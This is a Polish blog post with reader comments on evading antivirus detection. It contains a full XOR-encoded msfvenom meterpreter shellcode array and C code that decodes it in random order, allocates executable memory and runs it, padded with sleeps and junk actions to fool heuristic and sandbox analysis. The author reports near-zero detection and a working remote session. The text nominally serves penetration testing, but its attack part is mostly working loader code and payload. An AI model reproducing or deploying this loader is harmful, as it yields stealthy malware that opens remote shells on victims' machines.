4

Omijanie antywirusów w praktyce – przykład

Wstęp

Omijanie antywirusów to temat szeroki jak samo działanie tych programów. Różni producenci stosują różne metody na to, żeby ich detection rate był jak najwyższy. Jednak sama logika działania programów jest do siebie zbliżona, w tym wpisie postaram się przybliżyć w jaki sposób antywirusy wykrywają złośliwy kod i podam przykład ominięcia takiego wykrycia.

Na starcie należy zaznaczyć kilka rzeczy, otóż:
1. Nie istnieje metoda działająca zawsze, w 100% na wszystkich antywirusach. – Programy te uczą się na bieżąco, pliki, które są skanowane często mogą być wysyłane do ponownej, dokładnej analizy. Po wykryciu złośliwego kodu następuje aktualizacja bazy antywirusa i metoda przestaje być funkcjonalna. Z tego powodu metoda, którą przedstawię tutaj prawdopodobnie po chwili przestanie działać. Jest to tylko przykład “jak się za to zabrać”.
2. Omijanie antywirusów wymaga wyobraźni i finezji 🙂 – Jak całe security, parafrazując Sekuraka, “jest to sztuka, a nie rzemiosło”, więc często trzeba nawymyślać egzotycznych, nietuzinkowych rozwiązań, żeby obniżyć detection rate.
3. Przy wykonywaniu testów bezpieczeństwa należy skupić się na programie używanym przez klienta, nie tracić czasu na próby stworzenia malware z zerowym detection rate.

Jak działają antywirusy?

Wyróżniamy 2 podstawowe metody wykrywania malware(można mówić o większej ilości, jednak na potrzeby przybliżenia podstaw wspomnę tylko o dwóch):

  • Signature-Based Detection – metoda powierzchowna. Wykrywa malware na podstawie sygnatur, czyli znanej sekwencji bajtów, na podstawie której można zidentyfikować malware. Bazy sygnatur są na bieżąco aktualizowane przez programy antywirusowe.
  • Heuristic and Behavioral-Based Detection – metoda złożona. Wykrywa malware na podstawie jego “zachowania”, sposobów na osiągnięcie tego jest kilka, m.in. dekompilowanie pliku wykonywalnego(PE) i sprawdzanie jego instrukcji, jedna po drugiej lub uruchamianie pliku w bezpiecznym, utworzonym przez program antywirusowy, środowisku i analiza jego działań.

Test działania Signature-Based Detection każdy może przeprowadzić u siebie. Środowisko na którym pracuję to zaktualizowany Windows 10 oraz Kali Linux uruchomiony jako maszyna wirtualna. Za pomocą narzędzia msfvenom utworzę plik wykonywalny z payloadem, który zestawia do mojej maszyny sesję meterpretera:

Przeskanujmy teraz plik używając VirtusTotal:

Skan nie trwał długo, plik został wykryty przez zdecydowaną większość antywirusów. Jeśli spróbujemy ten plik pobrać na swoją maszynę z Windowsem, zostanie z góry usunięty, najprawdopodobniej oznacza to, że malware został wykryty jeszcze na poziomie “szybkiego” sprawdzenia pliku na dysku, właśnie za pomocą Signature-Based Detection.

Techniki omijania wykrycia – Signature-Based

Wiedząc, w jaki sposób działają antywirusy, możemy przystąpić do prób ominięcia wykrycia. Wiemy, że mamy dwa wektory do ominięcia, skanowanie “na dysku”, oraz “po uruchomieniu”.
Aby utrudnić wykrycie za pomocą metody Signature-Based, należy zmienić sygnaturę pliku. Do dyspozycji mamy masę narzędzi typu obfuskatory(zaciemniające nasz kod), packery(pakujące nasz kod, a następnie wypakowujące go dopiero w pamięci) czy cryptery(narzędzia szyfrujące nasz plik i umieszczające zaszyfrowany kod[stub] na końcu pliku, aby po uruchomieniu go odszyfrować).
Możemy również wypracować własną, ręczną metodę szyfrowania swojego payloadu. Często wystarczy do tego zwykły XOR z własnym, wpisanym w kod kluczem, przykład:

unsigned char buf[] = 
	"\x3c\x28\x42\xc0\xc0\xc0\xa0\x49\x25\xf1\x00\xa4\x4b\x90\xf0"
	"\x4b\x92\xcc\x4b\x92\xd4\x4b\xb2\xe8\xcf\x77\x8a\xe6\xf1\x3f"
	"\x6c\xfc\xa1\xbc\xc2\xec\xe0\x01\x0f\xcd\xc1\x07\x22\x32\x92"
	"\x97\x4b\x92\xd0\x4b\x8a\xfc\x4b\x8c\xd1\xb8\x23\x88\xc1\x11"
	"\x91\x4b\x99\xe0\xc1\x13\x4b\x89\xd8\x23\xfa\x89\x4b\xf4\x4b"
	"\xc1\x16\xf1\x3f\x6c\x01\x0f\xcd\xc1\x07\xf8\x20\xb5\x36\xc3"
	"\xbd\x38\xfb\xbd\xe4\xb5\x24\x98\x4b\x98\xe4\xc1\x13\xa6\x4b"
	"\xcc\x8b\x4b\x98\xdc\xc1\x13\x4b\xc4\x4b\xc1\x10\x49\x84\xe4"
	"\xe4\x9b\x9b\xa1\x99\x9a\x91\x3f\x20\x9f\x9f\x9a\x4b\xd2\x2b"
	"\x4d\x9d\xa8\xf3\xf2\xc0\xc0\xa8\xb7\xb3\xf2\x9f\x94\xa8\x8c"
	"\xb7\xe6\xc7\x49\x28\x3f\x10\x78\x50\xc1\xc0\xc0\xe9\x04\x94"
	"\x90\xa8\xe9\x40\xab\xc0\x3f\x15\xaa\xca\xa8\x00\x68\x58\x40"
	"\xa8\xc2\xc0\xf4\xfb\x49\x26\x90\x90\x90\x90\x80\x90\x80\x90"
	"\xa8\x2a\xcf\x1f\x20\x3f\x15\x57\xaa\xd0\x96\x97\xa8\x59\x65"
	"\xb4\xa1\x3f\x15\x45\x00\xb4\xca\x3f\x8e\xc8\xb5\x2c\x28\xa7"
	"\xc0\xc0\xc0\xaa\xc0\xaa\xc4\x96\x97\xa8\xc2\x19\x08\x9f\x3f"
	"\x15\x43\x38\xc0\xbe\xf6\x4b\xf6\xaa\x80\xa8\xc0\xd0\xc0\xc0"
	"\x96\xaa\xc0\xa8\x98\x64\x93\x25\x3f\x15\x53\x93\xaa\xc0\x96"
	"\x93\x97\xa8\xc2\x19\x08\x9f\x3f\x15\x43\x38\xc0\xbd\xe8\x98"
	"\xa8\xc0\x80\xc0\xc0\xaa\xc0\x90\xa8\xcb\xef\xcf\xf0\x3f\x15"
	"\x97\xa8\xb5\xae\x8d\xa1\x3f\x15\x9e\x9e\x3f\xcc\xe4\xcf\x45"
	"\xb0\x3f\x3f\x3f\x29\x5b\x3f\x3f\x3f\xc1\x03\xe9\x06\xb5\x01"
	"\x03\x7b\x30\x75\x62\x96\xaa\xc0\x93\x3f\x15\xc0";
	
	int i = 0;
	unsigned char xorbuf[sizeof(buf)];
	while(i < sizeof(buf)) {
		xorbuf[i] = buf[i] ^ buf[3];
		i++;
	}

W tablicy buf[] mamy payload meterpretera wygenerowany przez msfvenom, a następnie przeXORowany przez bajt \xc0. Za pomocą pętli do tablicy xorbuf[] po kolei wrzucamy każdy bajt ponownie XORowany, tym sposobem mamy w niej działający payload. Dodamy jeszcze alokację pamięci(na ten moment tablica jest na stosie, z poziomu którego nie można uruchomić kodu), i uruchomienie:

void *exec = VirtualAlloc(NULL, sizeof xorbuf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, xorbuf, sizeof xorbuf);
((void(*)())exec)();

Całość jest oczywiście w funkcji int main(), z dodanymi bibliotekami stdio.h oraz windows.h. Skompiluję ten kod i sprawdzę wykrywalność:

Nie jest źle. Wykrywalność spadła o połowę. A w sumie nic konkretnego nie zrobiliśmy. Jednak programy testują nasz plik również za pomocą drugiej metody, Heuristic and Behavioral-Based Detection. Tutaj zaczyna się prawdziwa zabawa w oszukiwanie 🙂

Techniki omijania wykrycia – Heuristic and Behavioral-Based

Aby uniknąć tego typu wykrycia, musimy pokazać antywirusowi, że w sumie to nie robimy nic złego. Metod, jak zawsze, mamy kilka, m.in. dodanie opóźnienia(delay) do wykonania konkretnych partii kodu, w końcu kto będzie czekać w nieskończoność aż coś się zacznie dziać 🙂 czy wykonywanie losowych akcji, wyświetlanie rzeczy na ekranie, wykonywanie obliczeń niemających żadnego zastosowania w kodzie. Dla przykładu umieścimy w naszym kodzie bibliotekę unistd.h oraz time.h i po deklaracji zaszyfrowanego payloadu dodajmy taki kod:

sleep(18);

char deicide[7] = "deicide";
int k = 0;
while (k < sizeof(deicide)) {
	printf("%c", deicide[k]);
	k++;
	sleep(1);
}
srand( time(NULL) );
int random_numbers[100];
for( int l = 0; l < 100; l++ ) {
	random_numbers[l] = rand();
}

Program po deklaracji biblioteki poczeka 18 sekund, następnie w odstępach 1-sekundowych w konsoli będzie wyświetlać napis “deicide”. Po wszystkim wylosuje 100 liczb i wpisze je do tablicy random_numbers[].
Przed uruchomieniem kodu z pamięci też dodajmy delay.

void *exec = VirtualAlloc(NULL, sizeof xorbuf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, xorbuf, sizeof xorbuf);

sleep(12);
((void(*)())exec)();

Czy to wystarczy? Może na część programów, jednak dodajmy największą zmianę. Otóż aktualnie do tablicy xorbuf[] wrzucamy po kolei odkodowane bajty. Co jakby umieszczać je losowo? Można to zrobić dla przykładu tak(chciałbym zaznaczyć, że nie jestem programistą, kod działa i to się dla mnie liczy):

unsigned char xorbuf[sizeof(buf)];
int changed[sizeof(buf)] = {0};
int changedsize = sizeof(changed) / sizeof(int);
int all = 0;
while(all == 0) {
	int random = rand() % (sizeof(buf)-1);
	if(changed[random] == 0) {
		xorbuf[random] = buf[random] ^ buf[3];
		changed[random] = 1;
	}
	int g = 0;
	int tmp = 0;
	while(g < (changedsize - 1)) {
		tmp += changed[g];
		g++;
	}
	if(tmp == (changedsize - 1)) {
		all = 1;
	}
}

No dobra, ale co tu się dzieje? Tworzę nową tablicę int changed o rozmiarze takim samym jak tablica z payloadem(buf) i wypełniam ją zerami. Do zmiennej changedsize przypisuję wielkość tej tablicy.

Logika działania pętli jest następująca: dopóki wszystkie elementy w tablicy changed[] nie będą miały wartości 1 losuje ona liczbę z zakresu od 0 do rozmiaru tablicy buf[] i w tablicy xorbuf[] pod indeksem wylosowanej liczby umieszcza odkodowany bajt. Następnie w tablicy changed[] zmienia wartość pod tym indeksem na 1.

Można to sobie wyobrazić jak układanie puzzli, losowe odkodowane bajty są umieszczane w nowej tablicy. Następnie oczywiście kod jest wrzucany do pamięci i uruchamiany, efekt całości?

Tym razem nie na VirusTotal, chciałem utrzymać efekt jak najdłużej 🙂

3/32 wykrycia(link do skanu). Najpopularniejsze antywirusy(ESET, BitDefender, Avira, McAfee) nie widzą w pliku nic podejrzanego. Słaby wynik? Jak pisałem na początku, całość wymaga wyobraźni i finezji, po dodaniu kolejnych sztuczek, szyfrowania, losowych akcji można śmiało osiągnąć detection rate 0. Ja w tym wypadku skupiłem się na swoim antywirusie(BitDefender), który pozwolił mi uruchomić plik i sesja meterpretera zestawiła się prawidłowo.

Podsumowanie

Jak pisałem wyżej – omijanie antywirusów wymaga wyobraźni i finezji. Technika, którą pokazałem tutaj jest tylko przykładem w jaki sposób można podchodzić do tematu. Do całości dochodzą jeszcze dodatkowe techniki typu Remote Process Memory Injection, Reflective DLL Injection czy Process Hollowing, o których celowo tutaj nie wspominałem ze względu na to, że w internecie jest masa poradników na ten temat, w tym wpisie chciałem ogólnie przybliżyć temat omijania wykrycia. Po zapoznaniu się ze wszystkim i odpowiednim wykorzystaniu można osiągać długo działające i mało wykrywalne malware.

Avatar

glasn0st

4 Comments

  1. Mega dobrze tłumaczysz cały proces, pomimo mojego małego poziomu wiedzy 😀

  2. A ja mam pytanie co do tej linii
    int changedsize = sizeof(changed) / sizeof(int);
    po co dzielimy rozmiar tablicy przez rozmiar inta?

    • Żeby poznać ilość elementów w tablicy changed. int waży 4 bajty(w przeciwieństwie do char), więc gdybym nie podzielił to pokazałby mi ilość elementów x4 🙂

Dodaj komentarz